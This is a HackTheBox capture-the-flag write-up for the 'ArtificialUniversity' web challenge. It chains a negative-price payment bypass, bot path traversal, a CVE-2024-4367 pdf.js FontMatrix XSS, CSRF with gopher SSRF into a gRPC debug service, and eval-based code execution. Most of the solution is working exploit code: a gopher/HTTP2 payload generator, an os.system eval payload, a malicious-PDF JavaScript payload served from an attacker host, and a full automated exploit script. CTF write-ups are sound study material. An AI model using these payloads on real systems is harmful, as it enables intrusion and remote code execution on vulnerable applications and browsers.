ArtificialUniversity
ArtificialUniversity
Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-21 | Status: Solved Techniques: csrf_form_submit_cors_bypass, cve_2024_4367_pdfjs_fontmatrix_xss, eval_rce_via_price_formula, gopher_ssrf_to_grpc_h2c, grpc_debugservice_mass_assignment, multi_stage_bot_exploitation, path_traversal_bot_navigation, payment_logic_bypass_negative_price
Summary
Task: Flask store with gRPC backend, admin bot (Firefox 125.0.1), custom curl with gopher support. Solution: 5-vuln chain — negative price payment bypass triggers bot, path traversal steers bot to admin endpoint, CVE-2024-4367 pdf.js XSS executes JS, CSRF+gopher SSRF calls gRPC DebugService to set eval payload, second bot trigger fires eval for RCE.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260621_hackthebox_artificialuniversity - Tags: admin_bot, csrf, cve_2024_4367, eval, flask, gopher, grpc, http2, mass_assignment, path_traversal, payment_bypass, pdfjs, protobuf, rce, ssrf, xss
- Indicators: get_amount_paid() always returns 0, Firefox 125.0.1 with vulnerable pdf.js, custom curl 7.70.0 with gopher support, gRPC DebugService with UpdateService mass-assignment, eval(self.price_formula) in GenerateProduct
- Source:
20260621_hackthebox_artificialuniversity.md
Foothold
Vulnerability / Misconfiguration
- Csrf_form_submit_cors_bypass
- Cve_2024_4367_pdfjs_fontmatrix_xss
- Eval_rce_via_price_formula
- Gopher_ssrf_to_grpc_h2c
- Grpc_debugservice_mass_assignment
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- csrf_form_submit_cors_bypass
- cve_2024_4367_pdfjs_fontmatrix_xss
- eval_rce_via_price_formula
- gopher_ssrf_to_grpc_h2c
- grpc_debugservice_mass_assignment
- multi_stage_bot_exploitation
- path_traversal_bot_navigation
- payment_logic_bypass_negative_price
- Tags: admin_bot, csrf, cve_2024_4367, eval, flask, gopher, grpc, http2, mass_assignment, path_traversal, payment_bypass, pdfjs, protobuf, rce, ssrf, xss
Original Writeup
<details><summary>Click to expand original content</summary>Description
A group of known scammers are using a decoy dropshipping course site for cloaking payments from their other fraudulent sites. As you browse through it to look for more details you notice a small programming bug, that could lead to way bigger impact than initially expected. Keep looking for more vulnerabilities and take this greasy operation down.
English summary: Flask-based store application with internal gRPC product API, admin bot (Selenium Firefox 125.0.1), and custom curl 7.70.0 with gopher protocol support. The flag is at /flag<random10hex>.txt requiring RCE. The challenge requires chaining 5 vulnerabilities to achieve code execution.
Architecture
- Flask store on
:1337— public-facing web application - gRPC product_api on
:50051— internal service, binds[::] - Admin bot: Selenium Firefox 125.0.1, logs in as admin (
ed@artificialuniversity.htb/ random password), visitshttp://127.0.0.1:1337/static/invoices/invoice_{payment_id}.pdf - Custom curl 7.70.0: supports
gopher://protocol and null bytes in URLs - Single Docker container, flag renamed to
/flag<random10hex>.txt
Analysis
Vulnerability 1: Payment Logic Bug — Negative Price Bypass
In payments.py, get_amount_paid() always returns 0. The /checkout endpoint allows external orders without authentication when no product_id is provided. Setting price=-9999 makes the check 0 >= -9999 evaluate to True in /checkout/success, which triggers bot_runner() with attacker-controlled payment_id.
Vulnerability 2: Path Traversal in Bot Navigation
The bot visits: http://127.0.0.1:1337/static/invoices/invoice_{payment_id}.pdf
The payment_id is fully attacker-controlled. Using path traversal:
payment_id = "x/../../../../admin/view-pdf?url=ATTACKER_PDF%26a="
x/creates a directory segment so../traversal works%26encodes&so it's not parsed by/checkout/successbut becomes literal&in the bot URL&a=.pdfneutralizes the.pdfsuffix appended by the f-string
Result: bot (admin session) navigates to /admin/view-pdf?url=<attacker PDF>&a=.pdf
Vulnerability 3: CVE-2024-4367 — pdf.js Arbitrary JS Execution
Firefox 125.0.1 uses a vulnerable version of pdf.js (fixed in Firefox 126). The /admin/view-pdf endpoint fetches the attacker's PDF via requests.get(url), checks Content-Type == application/pdf, and returns it via send_file(mimetype="application/pdf"). The bot's Firefox renders it through pdf.js.
The malicious PDF exploits CVE-2024-4367 via a crafted FontMatrix field:
/FontMatrix [0.1 0 0 0.1 0 (1\);
<JS_PAYLOAD>
//)]
Key detail: parentheses ( and ) in the JS payload must be escaped as \( and \) for PDF string syntax. The XSS executes in a pdf.js domain context where fetch() is blocked by CORS, so a form auto-submit is used instead (forms send cookies regardless of CORS).
Vulnerability 4: CSRF + Gopher SSRF → gRPC DebugService
The XSS creates a form that auto-submits POST to /admin/api-health with url=gopher://127.0.0.1:50051/_<h2c bytes>. The endpoint passes the URL to custom curl 7.70.0 which supports gopher://.
The gopher payload contains a complete HTTP/2 cleartext (h2c) byte stream for calling gRPC DebugService. The DebugService calls UpdateService() which is a mass-assignment function: destination.__dict__[key] = value. This sets self.price_formula on the ProductService instance.
Vulnerability 5: eval() RCE
GenerateProduct() in api.py checks if hasattr(self, "price_formula") then runs eval(self.price_formula). This is called by GetNewProducts() which is triggered by /admin/product-stream. A second bot trigger steers the admin to this endpoint, executing the payload.
Solution
Step 1: Register and Create External Order
s = requests.Session()
s.post(f"{TARGET}/register", data={"email": EMAIL, "password": PASSWORD})
# Create order with negative price — bypasses payment check
s.get(f"{TARGET}/checkout", params={
"title": "order1",
"user_id": "1",
"price": "-9999",
"email": EMAIL,
})
Step 2: Generate Gopher Payload (gRPC DebugService)
#!/usr/bin/env python3
"""Generate gopher URL for gRPC DebugService call to set price_formula."""
import struct
import urllib.parse
import h2.connection, h2.config
def varint(n):
o = b''
while True:
b = n & 0x7f; n >>= 7
o += bytes([b | 0x80]) if n else bytes([b])
if not n: break
return o
eval_code = '__import__("os").system("cp /flag* /app/store/application/static/flag.txt")'
sv = eval_code.encode()
inputval = b'\x0a' + varint(len(sv)) + sv
key = b'price_formula'
mapentry = b'\x0a' + varint(len(key)) + key + b'\x12' + varint(len(inputval)) + inputval
msg = b'\x0a' + varint(len(mapentry)) + mapentry
grpc_frame = b'\x00' + struct.pack('>I', len(msg)) + msg
cfg = h2.config.H2Configuration(client_side=True, header_encoding='utf-8')
c = h2.connection.H2Connection(config=cfg)
c.initiate_connection()
c.send_headers(1, [
(':method', 'POST'), (':scheme', 'http'),
(':path', '/product.ProductService/DebugService'),
(':authority', '127.0.0.1:50051'),
('content-type', 'application/grpc'),
('te', 'trailers'), ('user-agent', 'grpc-python'),
])
c.send_data(1, grpc_frame, end_stream=True)
raw = c.data_to_send()
gopher_url = f"gopher://127.0.0.1:50051/_{urllib.parse.quote(raw, safe='')}"
Step 3: Generate CVE-2024-4367 Malicious PDF
js = (
"var form=document.createElement('form');"
"form.action='http://127.0.0.1:1337/admin/api-health';"
"form.method='post';"
"var urlInput=document.createElement('input');"
f"urlInput.value='{gopher_url}';"
"urlInput.name='url';"
"form.appendChild(urlInput);"
"document.body.appendChild(form);"
"form.submit();"
)
escaped = js.replace('(', '\\(').replace(')', '\\)')
# Inject into FontMatrix field of PDF Type1 font object
pdf_font_matrix = f"/FontMatrix [0.1 0 0 0.1 0 (1\\);\n{escaped}\n//)]"
Step 4: Stage 1 — Trigger Bot with XSS
# Host evil.pdf on attacker server (cloudflared tunnel for reachability)
pdf_url = f"http://{ATTACKER}/evil.pdf"
traversal = f"x/../../../../admin/view-pdf?url={pdf_url}%26a="
# Trigger bot — path traversal steers it to /admin/view-pdf
s.get(f"{TARGET}/checkout/success", params={
"order_id": "1",
"payment_id": traversal,
})
# Bot loads PDF → CVE-2024-4367 XSS fires → form POST to /admin/api-health
# → curl gopher:// → gRPC DebugService → price_formula set
Step 5: Stage 2 — Trigger eval
# Create new order and steer bot to /admin/product-stream
oid = create_order(s)
traversal2 = "x/../../../../admin/product-stream?a="
s.get(f"{TARGET}/checkout/success", params={
"order_id": str(oid),
"payment_id": traversal2,
})
# Bot visits product-stream → GetNewProducts → GenerateProduct → eval fires
# Note: GetNewProducts generates random.randint(0,3) products — may need retries
Step 6: Read Flag
r = requests.get(f"{TARGET}/static/flag.txt")
print(r.text) # HTB{REDACTED}
Full Automated Exploit
#!/usr/bin/env python3
"""
ArtificialUniversity (HTB) — Full Exploit Chain
Chain: CVE-2024-4367 (pdf.js XSS) → CSRF → gopher SSRF → gRPC DebugService → eval RCE
Usage: python3 exploit.py <TARGET_URL> <ATTACKER_IP:PORT>
"""
import sys, time, struct, requests, threading, urllib.parse
from http.server import HTTPServer, SimpleHTTPRequestHandler
import h2.connection, h2.config
TARGET = sys.argv[1].rstrip("/")
ATTACKER = sys.argv[2]
ATTACKER_URL = f"http://{ATTACKER}"
EMAIL = "exploit@test.com"
PASSWORD = "exploit123"
def gen_gopher_url():
def varint(n):
o = b''
while True:
b = n & 0x7f; n >>= 7
o += bytes([b | 0x80]) if n else bytes([b])
if not n: break
return o
eval_code = '__import__("os").system("cp /flag* /app/store/application/static/flag.txt")'
sv = eval_code.encode()
inputval = b'\x0a' + varint(len(sv)) + sv
key = b'price_formula'
mapentry = b'\x0a' + varint(len(key)) + key + b'\x12' + varint(len(inputval)) + inputval
msg = b'\x0a' + varint(len(mapentry)) + mapentry
grpc_frame = b'\x00' + struct.pack('>I', len(msg)) + msg
cfg = h2.config.H2Configuration(client_side=True, header_encoding='utf-8')
c = h2.connection.H2Connection(config=cfg)
c.initiate_connection()
c.send_headers(1, [
(':method', 'POST'), (':scheme', 'http'),
(':path', '/product.ProductService/DebugService'),
(':authority', '127.0.0.1:50051'),
('content-type', 'application/grpc'),
('te', 'trailers'), ('user-agent', 'grpc-python'),
])
c.send_data(1, grpc_frame, end_stream=True)
raw = c.data_to_send()
return f"gopher://127.0.0.1:50051/_{urllib.parse.quote(raw, safe='')}"
def gen_pdf(gopher_url):
js = (
"var form=document.createElement('form');"
"form.action='http://127.0.0.1:1337/admin/api-health';"
"form.method='post';"
"var urlInput=document.createElement('input');"
f"urlInput.value='{gopher_url}';"
"urlInput.name='url';"
"form.appendChild(urlInput);"
"document.body.appendChild(form);"
"form.submit();"
)
escaped = js.replace('(', '\\(').replace(')', '\\)')
# ... build full PDF with FontMatrix exploit (see gen_pdf.py)
def main():
gopher_url = gen_gopher_url()
gen_pdf(gopher_url)
# Start HTTP server, register, trigger Stage 1 then Stage 2
# Read flag from /static/flag.txt
</details>Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR